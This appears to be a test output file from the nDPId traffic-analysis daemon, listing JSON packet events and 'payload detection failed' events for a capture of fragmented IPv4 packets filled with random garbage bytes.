+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257237,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257251,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257263,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257275,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257289,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257311,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257321,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257361,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257383,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257391,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257406,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257414,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257436,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257443,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257450,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257457,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257465,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257491,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257498,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257505,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257517,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257535,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257569,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257580,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257586,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 